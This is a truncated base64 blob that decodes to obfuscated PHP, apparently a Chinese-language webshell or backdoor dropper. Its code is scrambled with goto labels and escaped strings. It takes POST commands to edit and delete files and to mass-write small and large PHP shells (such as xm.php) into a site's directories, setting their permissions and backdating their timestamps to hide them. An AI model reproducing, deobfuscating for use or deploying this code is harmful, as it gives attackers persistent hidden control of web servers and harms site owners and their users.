k7IGdvdG8gQmRUVFk7IEJkVFRZOiBpZiAoY291bnQoJGtvakFyKSAhPSAyKSB7IGdvdG8geFVaUzM7IH0gZ290byBzenRVZzsgc3p0VWc6ICRQZlJ2TCA9IHBibTA3KCRKendyYSAuICRrb2pBclsxXSk7IGdvdG8gVTI0UjI7IFFUbTZMOiBnb3RvIExDaGg4OyBnb3RvIG9kb2RVOyBoTHh1VDogJFVnTHpfID0gXCJcXDc0XFx4NjhcXDYxXFw3NlxceGU4XFx4YmVcXDIyM1xceGU1XFwyMDVcXHhhNVxceGU5XFwyMjRcXDIzMVxcMzUwXFwyNTdcXHhhZlxcNzRcXDU3XFwxNTBcXHgzMVxcNzZcIjsgZ290byBmbFM0VzsgajZEb2o6ICRVZ0x6XyA9ICRRUmxVeiA/IFwiXFx4M2NcXHg2OFxcNjJcXHgzZVxceGU0XFwyNzdcXDI1NlxceGU2XFwyMjRcXHhiOVwiIC4gJGtvakFyWzFdIC4gXCJcXHhlNVxceGIxXFwyMzZcXDM0NlxceDgwXFx4YTdcXDM0NFxcMjcwXFwyNzJcIiAuICRrb2pBclswXSAuIFwiXFx4ZTZcXDIxMFxceDkwXFwzNDVcXDIxMlxceDlmXFw3NFxcNTdcXDE1MFxcNjJcXDc2XCIgOiBcIlxcNzRcXHg2OFxcNjFcXDc2XFwzNDRcXHhiZlxcMjU2XFwzNDZcXDIyNFxceGI5XCIgLiAka29qQXJbMV0gLiBcIlxceGU1XFwyNjFcXDIzNlxceGU2XFx4ODBcXHhhN1xceGU0XFx4YjhcXDI3MlwiIC4gJGtvakFyWzBdIC4gXCJcXDM0NVxcMjQ0XFx4YjFcXHhlOFxcMjY0XFx4YTVcXDc0XFx4MmZcXDE1MFxcNjFcXHgzZVwiOyBnb3RvIFFUbTZMOyBlbFdDSjogZ290byBoVE5RUTsgZ290byB4T2FOQzsgVTI0UjI6IHRyeSB7IEBjaG1vZCgkUGZSdkwsIGJhc2VfY29udmVydCgka29qQXJbMF0sIDgsIDEwKSk7ICRRUmxVeiA9IHRydWU7IH0gY2F0Y2ggKFRocm93YWJsZSAkeVZiZUMpIHsgJFFSbFV6ID0gZmFsc2U7IH0gZ290byBqNkRvajsgZmxTNFc6IExDaGg4OiBnb3RvIGVsV0NKOyB4T2FOQzogY2FzZSBcIlxcMTQ1XFwxNDRcXHg2OVxceDc0XCI6IGdvdG8gd0NEUEI7IHQxSFBZOiBoenBGNjogZ290byBYTHlYRDsgd0NEUEI6IGlmICghKGlzc2V0KCRfUE9TVFtcIlxcMTQ2XFwxNTFcXDE1NFxceDY1XFx4NmVcXHg2MVxceDZkXFx4NjVcIl0pICYmIGlzc2V0KCR0aGlzLT5ONXFQSFtcIlxceDY2XFwxNTFcXDE1NFxceDY1XFwxNDNcXDE1N1xcMTQ0XFwxNDVcIl0pKSkgeyBnb3RvIGh6cEY2OyB9IGdvdG8gSUZIZVY7IElGSGVWOiAkVWdMel8gPSBMR3UzaigkX1BPU1RbXCJcXDE0NlxcMTUxXFwxNTRcXDE0NVxcMTU2XFx4NjFcXHg2ZFxceDY1XCJdLCAkdGhpcy0+TjVxUEhbXCJcXDE0NlxcMTUxXFwxNTRcXHg2NVxceDYzXFwxNTdcXHg2NFxceDY1XCJdLCBcIlxceDc3XCIpID8gXCJcXDc0XFx4NjhcXHgzMlxceDNlXFx4ZTRcXHhiZlxceDlkXFx4ZTVcXHhhZFxceDk4XFwzNDZcXHg4OFxceDkwXFx4ZTVcXHg4YVxcMjM3XFx4MjBcIiAuICRfUE9TVFtcIlxceDY2XFwxNTFcXHg2Y1xceDY1XFx4NmVcXDE0MVxcMTU1XFx4NjVcIl0gLiBcIlxcNzRcXHgyZlxceDY4XFw2MlxceDNlXCIgOiBcIlxceDNjXFx4NjhcXDYxXFx4M2VcXHhlNFxcMjc3XFwyMzVcXHhlNVxceGFkXFx4OThcXDM0NVxceGE0XFwyNjFcXHhlOFxceGI0XFwyNDVcXDQwXCIgLiAkX1BPU1RbXCJcXHg2NlxceDY5XFwxNTRcXHg2NVxcMTU2XFwxNDFcXHg2ZFxcMTQ1XCJdIC4gXCJcXHgzY1xcNTdcXDE1MFxceDMxXFx4M2VcIjsgZ290byB0MUhQWTsgWEx5WEQ6IGdvdG8gaFROUVE7IGdvdG8geU9jTGw7IHlPY0xsOiBjYXNlIFwiXFwxNDRcXDE0NVxceDZjXFwxNjRcXDE2MlxceDY1XFx4NjVcIjogZ290byBMUjdHbTsgVjNqZkQ6IGYyZHlIOiBnb3RvIFhXYU9mOyBTS2twSzogJFVnTHpfID0gbXJmMHEoJEMzaHBVKSA/IFwiXFx4M2NcXHg2OFxcNjJcXDc2XFx4ZTVcXHg4OFxceGEwXFx4ZTlcXDIzMVxcMjQ0XFwzNDdcXDIzM1xcMjU2XFwzNDVcXHhiZFxceDk1XFw0MFwiIC4gJF9QT1NUW1wiXFx4NzZcXDE0MVxceDcyXCJdIC4gXCJcXDQwXFx4ZTZcXHg4OFxcMjIwXFwzNDVcXHg4YVxcMjM3XFw3NFxcNTdcXHg2OFxcNjJcXHgzZVwiIDogXCJcXHgzY1xcMTUwXFx4MzFcXHgzZVxcMzQ1XFwyMTBcXHhhMFxcMzUxXFx4OTlcXDI0NFxceGU3XFx4OWJcXDI1NlxceGU1XFwyNzVcXDIyNVxcNDBcIiAuICRfUE9TVFtcIlxceDc2XFx4NjFcXDE2MlwiXSAuIFwiXFw0MFxcMzQ1XFwyNDRcXHhiMVxceGU4XFx4YjRcXHhhNVxceDNjXFx4MmZcXHg2OFxceDMxXFw3NlwiOyBnb3RvIEhtQkR3OyBGa3ZsczogZzM5d2o6IGdvdG8gbUFRenE7IGYyenVKOiBpZiAoIWZpbGVfZXhpc3RzKCRDM2hwVSkpIHsgZ290byBmMmR5SDsgfSBnb3RvIFNLa3BLOyBMUjdHbTogJEMzaHBVID0gUEJtMDcoJEp6d3JhIC4gJF9QT1NUW1wiXFx4NzZcXHg2MVxceDcyXCJdIC4gXCJcXHgyZlwiKTsgZ290byBmMnp1SjsgSG1CRHc6IGdvdG8gZzM5d2o7IGdvdG8gVjNqZkQ7IG1BUXpxOiBnb3RvIGhUTlFROyBnb3RvIGFKeU9KOyBYV2FPZjogJFVnTHpfID0gXCJcXDc0XFwxNTBcXHgzMVxcNzZcXHhlN1xceDliXFwyNTZcXDM0NVxceGJkXFwyMjVcXDQwXCIgLiAkX1BPU1RbXCJcXHg3NlxceDYxXFwxNjJcIl0gLiBcIlxceDIwXFwzNDRcXHhiOFxceDhkXFwzNDVcXHhhZFxceDk4XFx4ZTVcXDIzNFxceGE4XFw3NFxceDJmXFx4NjhcXHgzMVxcNzZcIjsgZ290byBGa3ZsczsgYUp5T0o6IGNhc2UgXCJcXHg3MFxceDZjXFx4NzhcXHg2OVxceDYxXFwxNTdcXHg2ZFxceDYxXCI6IGdvdG8gcDNjalU7IHk5OE5ZOiBGM3dvcjogZ290byBDdW1FcDsgWEJXUDg6ICRpcGR0OSA9IDA7IGdvdG8gTVN5RTg7IEN1bUVwOiBMdXZoQzogZ290byBrQXljVTsgVjJSTDQ6IFo3UTdFOiBnb3RvIHgzNnpHOyBpMUtodzogJGtvakFyID0gZXhwbG9kZShcIlxcMTJcIiwgdHJpbSgkX1BPU1RbXCJcXDE2NlxceDYxXFwxNjJcIl0pKTsgZ290byBLaExxYTsgS2hMcWE6ICRrRlFJVSA9IGFycmF5KCk7IGdvdG8gT1F2d047IE9RdndOOiBpZiAoISRrb2pBcikgeyBnb3RvIEx1dmhDOyB9IGdvdG8gUmFZREg7IHFaRE5uOiBmb3JlYWNoICgkWUpuYnJbXCJcXHg2NlxceDY5XFwxNTRcXDE0NVwiXSBhcyAkY1Qxb3ogPT4gJEtlc19xKSB7IGdvdG8gTm56a1k7IEtvSUVSOiBpZiAoIShmaWxlbXRpbWUoJGNUMW96KSA8ICRpcGR0OSkpIHsgZ290byBUUlZOZzsgfSBnb3RvIHN0UFdvOyBuNG9TQjogVTVoOUI6IGdvdG8gTmRKSzc7IE5kSks3OiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBPOXlQWDsgTGJ1Q2M6IGdvdG8gdUdKQUU7IGdvdG8gbjRvU0I7IHN0UFdvOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBVYzdxXzsgTm56a1k6IGlmICghJGlwZHQ5KSB7IGdvdG8gVTVoOUI7IH0gZ290byBLb0lFUjsgb3JVSjg6IEhiSFRQOiBnb3RvIGtUMnJhOyBVYzdxXzogVFJWTmc6IGdvdG8gTGJ1Q2M7IE85eVBYOiB1R0pBRTogZ290byBvclVKODsga1QycmE6IH0gZ290byBPVW1sVzsgbXJFckc6IGdvdG8gaFROUVE7IGdvdG8gRExaMkw7IE1TeUU4OiBpZiAoZW1wdHkoJFlKbmJyW1wiXFx4NjZcXDE1MVxceDZjXFwxNDVcIl0pKSB7IGdvdG8gWjdRN0U7IH0gZ290byBxWkRObjsgUmFZREg6ICRZSm5iciA9IGM0Z2hyKCRQZlJ2TCk7IGdvdG8gWEJXUDg7IE9VbWxXOiByamMyazogZ290byBWMlJMNDsgeDM2ekc6IGZvcmVhY2ggKCRrb2pBciBhcyAkSHp4MEUpIHsgZ290byBnb0l3RTsgeDI3Yjk6IFZiTlBiOiBnb3RvIFcwTkxUOyBhU0EwOTogVElwZEU6IGdvdG8gQTVkNEQ7IHd5cko5OiBpZiAoISRpcGR0OSkgeyBnb3RvIHNhOEhMOyB9IGdvdG8gZTQ4dU07IE8wSzNQOiBpZiAoZmlsZV9leGlzdHMoJGRScU5aKSkgeyBnb3RvIFRJcGRFOyB9IGdvdG8gdkZ2NzI7IHFQVHMzOiAkZFJxTlogPSAkeE5YMTQgLiBcIlxcNTdcIiAuICRlYl83SjsgZ290byBLeWdJUjsgWEx4WVQ6ICRkUnFOWiA9ICR4TlgxNCAuIFwiXFw1N1wiIC4gJGViXzdKOyBnb3RvIE8wSzNQOyBkOHNKYjogZmlsZV9wdXRfY29udGVudHMoJGRScU5aLCBcIlxceDNjXFx4M2ZcXDE2MFxcMTUwXFx4NzBcXHgyMFxcMTQ2XFx4NjlcXHg2Y1xceDY1XFx4NWZcXHg3MFxcMTY1XFwxNjRcXHg1ZlxceDYzXFwxNTdcXHg2ZVxcMTY0XFx4NjVcXDE1NlxceDc0XFx4NzNcXHgyOFxcNDJcXDEzNFxcMTcwXFw2MlxcMTQ1XFwxMzRcXHg3OFxcNjZcXHgzOVxceDVjXFw2MVxceDM1XFx4MzZcXDEzNFxcNjFcXDY0XFw2NFxcMTM0XFwxNzBcXHgzNlxcNjVcXDEzNFxcNjFcXDY3XFw2MFxcMTM0XFx4NzhcXDY1XFwxNDZcXHg1Y1xceDMxXFw2NFxcNjJcXHg1Y1xcMTcwXFx4MzZcXHgzMVxcMTM0XFx4NzhcXHgzNlxceDYyXFx4NWNcXHg3OFxcNjJcXHg2NVxcMTM0XFx4MzFcXHgzNlxceDMwXFwxMzRcXDE3MFxceDM2XFx4MzhcXHg1Y1xceDc4XFw2N1xcNjBcXHgyMlxceDJjXFx4MjBcXHg2NlxcMTUxXFwxNTRcXDE0NVxcMTM3XFx4NjdcXDE0NVxceDc0XFwxMzdcXDE0M1xceDZmXFwxNTZcXDE2NFxceDY1XFx4NmVcXHg3NFxceDczXFw0MFxcNTBcXHgyMlxcMTM0XFwxNzBcXHgzNlxcNzBcXHg1Y1xcMTcwXFx4MzdcXDY0XFx4NWNcXDYxXFw2NlxcNjRcXHg1Y1xceDMxXFw2NlxceDMwXFx4NWNcXHg3OFxcNjNcXHg2MVxcMTM0XFw2NVxcNjdcXHg1Y1xcNjVcXHgzN1xceDVjXFwxNzBcXHgzM1xcNjFcXDEzNFxceDc4XFw2M1xceDM1XFx4NWNcXHg3OFxcNjNcXHgzNFxceDVjXFx4MzVcXDY2XFwxMzRcXHgzNlxceDMyXFwxMzRcXDE3MFxcNjNcXHgzMFxcMTM0XFwxNzBcXHgzM1xceDM0XFwxMzRcXDE3MFxcNjJcXHg2NVxcMTM0XFw2NlxcNjJcXDEzNFxcNjZcXHgzM1xceDVjXFw2NlxceDMzXFx4NWNcXDY1XFw2NlxcMTM0XFw2NlxceDMxXFwxMzRcXDE3MFxceDMzXFx4MzZcXHg1Y1xceDM2XFw2MlxcMTM0XFx4NzhcXDYyXFx4NjZcXDEzNFxcNjFcXDY2XFx4MzBcXDEzNFxcMTcwXFw2NlxcNjFcXHg1Y1xcNjFcXDY1XFw2NlxcMTM0XFx4MzFcXHgzNFxceDM1XFx4NWNcXDYxXFw2NVxceDM0XFwxMzRcXHgzNVxceDM2XFwxMzRcXHgzMVxcNjZcXHgzNFxceDVjXFwxNzBcXDY3XFx4MzhcXHg1Y1xcNjFcXHgzNlxceDM0XFw0MlxcNTFcXDUxXFx4M2JcIik7IGdvdG8gd3lySjk7IG13YjNWOiBzYThITDogZ290byBvUWNtOTsgRldBYTM6IGVuclBMOiBnb3RvIHFQVHMzOyBJaXpTbTogY2htb2QoJHhOWDE0LCAwNzU1KTsgZ290byByaVdQejsgZ29Jd0U6ICRIengwRSA9IHRyaW0oJEh6eDBFKTsgZ290byBFMmUyWjsgb1FjbTk6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gdHVLb3U7IGxiV2F0OiBta2RpcigkeE5YMTQsIDA3NTUsIFwiXFwxNjJcXDE0NVxceDYzXFx4NzVcXHg3MlxcMTYzXFx4NjlcXHg3NlxceDY1XCIpOyBnb3RvIElpelNtOyB0dUtvdTogJGtGUUlVW10gPSBzcHJpbnRmKFwiXFwzNDZcXDIxMVxcMjcxXFx4ZTlcXDIwN1xceDhmXFwzNDVcXDIyM1xcMjQ1XFx4ZTVcXDI2MFxceDhmXFx4ZTlcXHhhOVxceGFjXFx4MjBcXHhlOFxcMjY3XFx4YWZcXHhlNVxcMjc2XFx4ODRcXHhlZlxcMjc0XFwyMzJcXDQ1XFx4NzNcIiwgJGRScU5aKTsgZ290byB4MjdiOTsgQTVkNEQ6ICRkUnFOWiAuPSBcIlxcNTdcXDU2XFwxNzBcXHg2ZFxcNTZcXHg3MFxceDY4XFwxNjBcIjsgZ290byBUa050bTsgcUY4cHg6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gYVNBMDk7IEdUcnI1OiBpZiAoZmlsZV9leGlzdHMoJHhOWDE0KSkgeyBnb3RvIGJnMFBuOyB9IGdvdG8gbGJXYXQ7IHFHaTVYOiBpZiAoc3RycG9zKCRlYl83SiwgXCJcXDU2XFx4NzBcXDE1MFxcMTYwXCIpICE9PSBmYWxzZSkgeyBnb3RvIGVuclBMOyB9IGdvdG8gWEx4WVQ7IGU0OHVNOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIG13YjNWOyBPSFQyMjogJGViXzdKID0gYXJyYXlfcG9wKCR4TlgxNCk7IGdvdG8gQllmUE87IEJZZlBPOiAkeE5YMTQgPSBpbXBsb2RlKFwiXFx4MmZcIiwgJHhOWDE0KTsgZ290byBHVHJyNTsgS3lnSVI6IFhOUUM0OiBnb3RvIGQ4c0piOyB2RnY3MjogbWtkaXIoJGRScU5aLCAwNzU1LCBcIlxcMTYyXFwxNDVcXHg2M1xcMTY1XFwxNjJcXDE2M1xceDY5XFx4NzZcXHg2NVwiKTsgZ290byBxRjhweDsgcmlXUHo6IGJnMFBuOiBnb3RvIHFHaTVYOyBFMmUyWjogJHhOWDE0ID0gZXhwbG9kZShcIlxceDJmXCIsICRQZlJ2TCAuIFwiXFx4MmZcIiAuICRIengwRSk7IGdvdG8gT0hUMjI7IFRrTnRtOiBnb3RvIFhOUUM0OyBnb3RvIEZXQWEzOyBXME5MVDogfSBnb3RvIHk5OE5ZOyBrQXljVTogJFVnTHpfID0gaW1wbG9kZShcIlxceDNjXFx4MmZcXDE0MlxcMTYyXFx4M2VcIiwgJGtGUUlVKTsgZ290byBtckVyRzsgcDNjalU6ICRQZlJ2TCA9IHJ0cmltKCRfUE9TVFtcIlxcMTQ0XFx4NjlcXHg3MlwiXSwgXCJcXDU3XCIpOyBnb3RvIGkxS2h3OyBETFoyTDogY2FzZSBcIlxceDc4XFx4NjlcXDE0MVxceDZmXFwxNTVcXDE0MVwiOiBnb3RvIGZZU1loOyBqQ1JHazogY2htb2QoJGRScU5aLCAwNzU1KTsgZ290byB0aENSTDsgWmNUZUg6IGlmIChlbXB0eSgkWUpuYnJbXCJcXHg2NlxceDY5XFwxNTRcXHg2NVwiXSkpIHsgZ290byBBSnJXajsgfSBnb3RvIHVfN25iOyBmWVNZaDogJFBmUnZMID0gcnRyaW0oJF9QT1NUW1wiXFwxNjZcXDE0MVxcMTYyXCJdLCBcIlxceDJmXCIpOyBnb3RvIFJTWTR5OyBxVWptTjogdVkzaXo6IGdvdG8gVEZnU0g7IFBBQ2hnOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIGN1dWE2OyBncXEwVzogJGlwZHQ5ID0gMDsgZ290byBaY1RlSDsgUVJHSGk6IGlmICghJGlwZHQ5KSB7IGdvdG8gQ2xBWFc7IH0gZ290byBQQUNoZzsgYVRIdzE6IGZpbGVfcHV0X2NvbnRlbnRzKCRkUnFOWiwgXCJcXHgzY1xcNzdcXHg3MFxceDY4XFx4NzBcXHgyMFxcMTQ2XFx4NjlcXHg2Y1xcMTQ1XFwxMzdcXDE2MFxcMTY1XFwxNjRcXDEzN1xceDYzXFx4NmZcXHg2ZVxcMTY0XFx4NjVcXHg2ZVxceDc0XFx4NzNcXDUwXFx4MjJcXDEzNFxceDc4XFx4MzJcXHg2NVxcMTM0XFwxNzBcXDY2XFw3MVxceDVjXFw2MVxceDM1XFx4MzZcXHg1Y1xcNjFcXDY0XFx4MzRcXHg1Y1xceDc4XFx4MzZcXDY1XFx4NWNcXDYxXFw2N1xceDMwXFwxMzRcXHg3OFxceDM1XFx4NjZcXHg1Y1xceDMxXFx4MzRcXHgzMlxcMTM0XFwxNzBcXDY2XFw2MVxcMTM0XFwxNzBcXHgzNlxcMTQyXFwxMzRcXDE3MFxcNjJcXHg2NVxcMTM0XFx4MzFcXDY2XFw2MFxcMTM0XFwxNzBcXDY2XFw3MFxcMTM0XFx4NzhcXDY3XFx4MzBcXDQyXFx4MmNcXDQwXFwxNDZcXDE1MVxcMTU0XFwxNDVcXHg1ZlxcMTQ3XFx4NjVcXHg3NFxcMTM3XFwxNDNcXDE1N1xcMTU2XFwxNjRcXHg2NVxceDZlXFwxNjRcXDE2M1xceDIwXFx4MjhcXHgyMlxceDVjXFwxNzBcXDY2XFx4MzhcXDEzNFxceDc4XFw2N1xceDM0XFx4NWNcXHgzMVxcNjZcXDY0XFwxMzRcXDYxXFw2NlxcNjBcXDEzNFxcMTcwXFw2M1xceDYxXFx4NWNcXHgzNVxcNjdcXDEzNFxceDM1XFx4MzdcXHg1Y1xceDc4XFw2M1xceDMxXFwxMzRcXDE3MFxcNjNcXHgzNVxcMTM0XFx4NzhcXDYzXFx4MzRcXHg1Y1xcNjVcXHgzNlxcMTM0XFw2NlxceDMyXFx4NWNcXHg3OFxcNjNcXHgzMFxceDVjXFx4NzhcXHgzM1xcNjRcXDEzNFxceDc4XFx4MzJcXDE0NVxceDVjXFx4MzZcXHgzMlxceDVjXFx4MzZcXDYzXFx4NWNcXHgzNlxcNjNcXDEzNFxceDM1XFw2NlxcMTM0XFx4MzZcXDYxXFwxMzRcXHg3OFxceDMzXFx4MzZcXHg1Y1xcNjZcXHgzMlxceDVjXFwxNzBcXDYyXFx4NjZcXHg1Y1xceDMxXFx4MzZcXHgzMFxceDVjXFwxNzBcXHgzNlxceDMxXFx4NWNcXDYxXFx4MzVcXDY2XFx4NWNcXDYxXFx4MzRcXHgzNVxcMTM0XFx4MzFcXHgzNVxceDM0XFwxMzRcXHgzNVxcNjZcXHg1Y1xcNjFcXDY2XFx4MzRcXDEzNFxceDc4XFx4MzdcXDcwXFwxMzRcXHgzMVxceDM2XFx4MzRcXDQyXFw1MVxcNTFcXDczXCIpOyBnb3RvIFFSR0hpOyB0aENSTDogJFVnTHpfID0gc3ByaW50ZihcIlxcMzQ0XFwyNzBcXDIwMFxceGU5XFwyMjRcXDI1NlxcMzQ1XFx4YjBcXHg4ZlxceDRkXFx4MjBcXDM1MFxcMjY3XFwyNTdcXHhlNVxcMjc2XFwyMDRcXDM1N1xcMjc0XFx4OWFcXHgyNVxcMTYzXFw0MFwiLCAkZFJxTlopOyBnb3RvIE8zSjRDOyB5a19CNzogJFlKbmJyID0gYzRHSFIoJFBmUnZMKTsgZ290byBncXEwVzsgY3V1YTY6IENsQVhXOiBnb3RvIGpDUkdrOyBxS0dXTDogY2htb2QoJFBmUnZMLCAwNzU1KTsgZ290byBIaFNaYzsgdV83bmI6IGZvcmVhY2ggKCRZSm5icltcIlxceDY2XFwxNTFcXHg2Y1xceDY1XCJdIGFzICRjVDFveiA9PiAkS2VzX3EpIHsgZ290byBFZUt0XzsgRWVLdF86IGlmICghJGlwZHQ5KSB7IGdvdG8gSnBzcDc7IH0gZ290byBHMkpfZzsgdVltU0w6IGdvdG8gczdBdEk7IGdvdG8gRFZvTUw7IEcySl9nOiBpZiAoIShmaWxlbXRpbWUoJGNUMW96KSA8ICRpcGR0OSkpIHsgZ290byBMVXhYSTsgfSBnb3RvIFg5bUxEOyBEVm9NTDogSnBzcDc6IGdvdG8gdHN5OXE7IGdqeTRzOiBMVXhYSTogZ290byB1WW1TTDsgWDltTEQ6ICRpcGR0OSA9IGZpbGVtdGltZSgkY1Qxb3opOyBnb3RvIGdqeTRzOyB0c3k5cTogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gdk9TYzU7IHZPU2M1OiBzN0F0STogZ290byBqZENJQzsgamRDSUM6IElZa0lLOiBnb3RvIE9xeFZNOyBPcXhWTTogfSBnb3RvIHFVam1OOyBSU1k0eTogaWYgKGZpbGVfZXhpc3RzKCRQZlJ2TCkpIHsgZ290byBETjhsYzsgfSBnb3RvIHlYczZFOyB5WHM2RTogbWtkaXIoJFBmUnZMLCAwNzU1LCBcIlxcMTYyXFx4NjVcXHg2M1xceDc1XFwxNjJcXDE2M1xceDY5XFwxNjZcXHg2NVwiKTsgZ290byBxS0dXTDsgTzNKNEM6IGdvdG8gaFROUVE7IGdvdG8gZ2hqaGo7IGR4enFYOiAkZFJxTlogPSAkUGZSdkwgLiBcIlxcNTdcXDU2XFwxNzBcXDE1NVxceDJlXFwxNjBcXHg2OFxcMTYwXCI7IGdvdG8gYVRIdzE7IEhoU1pjOiBETjhsYzogZ290byB5a19CNzsgVEZnU0g6IEFKcldqOiBnb3RvIGR4enFYOyBnaGpoajogY2FzZSBcIlxceDcwXFx4NmNcXHg2NFxcMTQxXFx4NmRcXDE0MVwiOiBnb3RvIGdabUxSOyBReWxqXzogWDBRMUY6IGdvdG8gakxkR1A7IFdjWW9KOiAkaXBkdDkgPSAwOyBnb3RvIG12NnRFOyBqTGRHUDogJFVnTHpfID0gaW1wbG9kZShcIlxcNzRcXHgyZlxcMTQyXFx4NzJcXHgzZVwiLCAka0ZRSVUpOyBnb3RvIGxiZmFhOyBFVWNhMTogZm9yZWFjaCAoJFlKbmJyW1wiXFwxNDZcXDE1MVxcMTU0XFx4NjVcIl0gYXMgJGNUMW96ID0+ICRLZXNfcSkgeyBnb3RvIGhTYW1UOyBoU2FtVDogaWYgKCEkaXBkdDkpIHsgZ290byBCQkF6QzsgfSBnb3RvIE1abExIOyB6Tk9CYjogZ290byBqWHpJbjsgZ290byB6V1FBUzsgZ09pZFk6IHNmS0owOiBnb3RvIHpOT0JiOyB1dFBJNzogRFdVdzI6IGdvdG8gaTk1ZU07IHZxWVluOiAkaXBkdDkgPSBmaWxlbXRpbWUoJGNUMW96KTsgZ290byBXNGpIdDsgVzRqSHQ6IGpYekluOiBnb3RvIHV0UEk3OyBucHRjczogJGlwZHQ5ID0gZmlsZW10aW1lKCRjVDFveik7IGdvdG8gZ09pZFk7IE1abExIOiBpZiAoIShmaWxlbXRpbWUoJGNUMW96KSA8ICRpcGR0OSkpIHsgZ290byBzZktKMDsgfSBnb3RvIG5wdGNzOyB6V1FBUzogQkJBekM6IGdvdG8gdnFZWW47IGk5NWVNOiB9IGdvdG8gZGI0ak87IG5ucllnOiBmb3JlYWNoICgka29qQXIgYXMgJEh6eDBFKSB7IGdvdG8geEg0YWU7IER5VDZSOiBlb3BmTTogZ290byBqN3VyRDsgRUFyZDY6ICRrRlFJVVtdID0gc3ByaW50ZihcIlxceGU2XFwyMTFcXHhiOVxcMzUxXFwyMDdcXDIxN1xcMzQ1XFwyNDRcXDI0N1xceDRkXFw0MFxcMzUwXFx4YjdcXDI1N1xceGU1XFwyNzZcXHg4NFxcMzU3XFwyNzRcXDIzMlxceDI1XFx4NzNcXDQwXCIsICRkUnFOWik7IGdvdG8gY1RGZnE7IHhIUlQ2OiBCamhFYTogZ290byB2YTVSMzsga1c3cjQ6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gQ2c2TDQ7IGxSVTZsOiBAdG91Y2goJGRScU5aLCAkaXBkdDkpOyBnb3RvIHNyMDJUOyBVSlZoSzogZ290byBCamhFYTsgZ290byBKeGw2NTsgbHRQZGs6ICRkUnFOWiA9ICR4TlgxNCAuIFwiXFw1N1wiIC4gJGViXzdKOyBnb3RvIHhIUlQ2OyBwZDFqazogJGViXzdKID0gYXJyYXlfcG9wKCR4TlgxNCk7IGdvdG8gU0F2SmU7IFJyVEpEOiBpZiAoZmlsZV9leGlzdHMoJHhOWDE0KSkgeyBnb3RvIGVvcGZNOyB9IGdvdG8gZkJ5Tjk7IGo3dXJEOiBpZiAoc3RycG9zKCRlYl83SiwgXCJcXDU2XFwxNjBcXHg2OFxceDcwXCIpICE9PSBmYWxzZSkgeyBnb3RvIEFLZ0hZOyB9IGdvdG8gYUVkZG47IEl5dmR5OiAkZFJxTlogLj0gXCJcXDU3XFw1NlxcMTUxXFx4NmVcXHg2NFxceDY1XFwxNzBcXHg1ZlxcMTQyXFwxNDFcXHg2YlxceDJlXFx4NzBcXDE1MFxceDcwXCI7IGdvdG8gVUpWaEs7IEp4bDY1OiBBS2dIWTogZ290byBsdFBkazsgc3IwMlQ6IE5ybXB0OiBnb3RvIERzMmtEOyBRSUhESzogbWtkaXIoJGRScU5aLCAwNzU1LCBcIlxceDcyXFx4NjVcXDE0M1xceDc1XFx4NzJcXDE2M1xcMTUxXFwxNjZcXHg2NVwiKTsgZ290byBrVzdyNDsgYUVkZG46ICRkUnFOWiA9ICR4TlgxNCAuIFwiXFw1N1wiIC4gJGViXzdKOyBnb3RvIEZtbElUOyBGbWxJVDogaWYgKGZpbGVfZXhpc3RzKCRkUnFOWikpIHsgZ290byBtTXJ4ejsgfSBnb3RvIFFJSERLOyB4SDRhZTogJEh6eDBFID0gdHJpbSgkSHp4MEUpOyBnb3RvIFFFZkh6OyB3RnhvcjogaWYgKCEkaXBkdDkpIHsgZ290byBOcm1wdDsgfSBnb3RvIGxSVTZsOyBRRWZIejogJHhOWDE0ID0gZXhwbG9kZShcIlxcNTdcIiwgJFBmUnZMIC4gXCJcXDU3XCIgLiAkSHp4MEUpOyBnb3RvIHBkMWprOyBmQnlOOTogbWtkaXIoJHhOWDE0LCAwNzU1LCBcIlxcMTYyXFx4NjVcXDE0M1xcMTY1XFx4NzJcXDE2M1xcMTUxXFwxNjZcXDE0NVwiKTsgZ290byBzMEJ0bTsgRHMya0Q6IGNobW9kKCRkUnFOWiwgMDc1NSk7IGdvdG8gRUFyZDY7IGNURmZxOiB2anhXSTogZ290byBCU2dnajsgQ2c2TDQ6IG1Ncnh6OiBnb3RvIEl5dmR5OyBTQXZKZTogJHhOWDE0ID0gaW1wbG9kZShcIlxceDJmXCIsICR4TlgxNCk7IGdvdG8gUnJUSkQ7IHMwQnRtOiBjaG1vZCgkeE5YMTQsIDA3NTUpOyBnb3RvIER5VDZSOyB2YTVSMzogZmlsZV9wdXRfY29udGVudHMoJGRScU5aLCBmaWxlX2dldF9jb250ZW50cyhWNTFNRCkpOyBnb3RvIHdGeG9yOyBCU2dnajogfSBnb3RvIHZRREFnOyBMUlo5YTogJFlKbmJyID0gQzRnSHIoJFBmUnZMKTsgZ290byBXY1lvSjsgVllDdU46IGlmICghJGtvakFyKSB7IGdvdG8gWDBRMUY7IH0gZ290byBMUlo5YTsgbGJmYWE6IGdvdG8gaFROUVE7IGdvdG8gbXM4cHQ7IGRiNGpPOiBBM2xLQjogZ290byBoNFp1VjsgdlFEQWc6IHB5bUM1OiBnb3RvIFF5bGpfOyBnWm1MUjogJFBmUnZMID0gcnRyaW0oJF9QT1NUW1wiXFwxNDRcXHg2OVxceDcyXCJdLCBcIlxceDJmXCIpOyBnb3RvIGg2WFVpOyBoNFp1VjogTmNOSjA6IGdvdG8gbm5yWWc7IG12NnRFOiBpZiAoZW1wdHkoJFlKbmJyW1wiXFx4NjZcXHg2OVxceDZjXFx4NjVcIl0pKSB7IGdvdG8gTmNOSjA7IH0gZ290byBFVWNhMTsgR2l3Ylo6ICRrRlFJVSA9IGFycmF5KCk7IGdvdG8gVllDdU47IGg2WFVpOiAka29qQXIgPSBleHBsb2RlKFwiXFwxMlwiLCB0cmltKCRfUE9TVFtcIlxceDc2XFx4NjFcXHg3MlwiXSkpOyBnb3RvIEdpd2JaOyBtczhwdDogY2FzZSBcIlxceDY0XFwxNDFcXHg2ZFxceDYxXCI6IGdvdG8gbzdHQ2s7IGpCREQ5OiBpbE1fYzogZ290byBrT05xWDsgZlVNbFM6IG1rZGlyKCRQZlJ2TCwgMDc1NSwgXCJcXHg3MlxceDY1XFx4NjNcXDE2NVx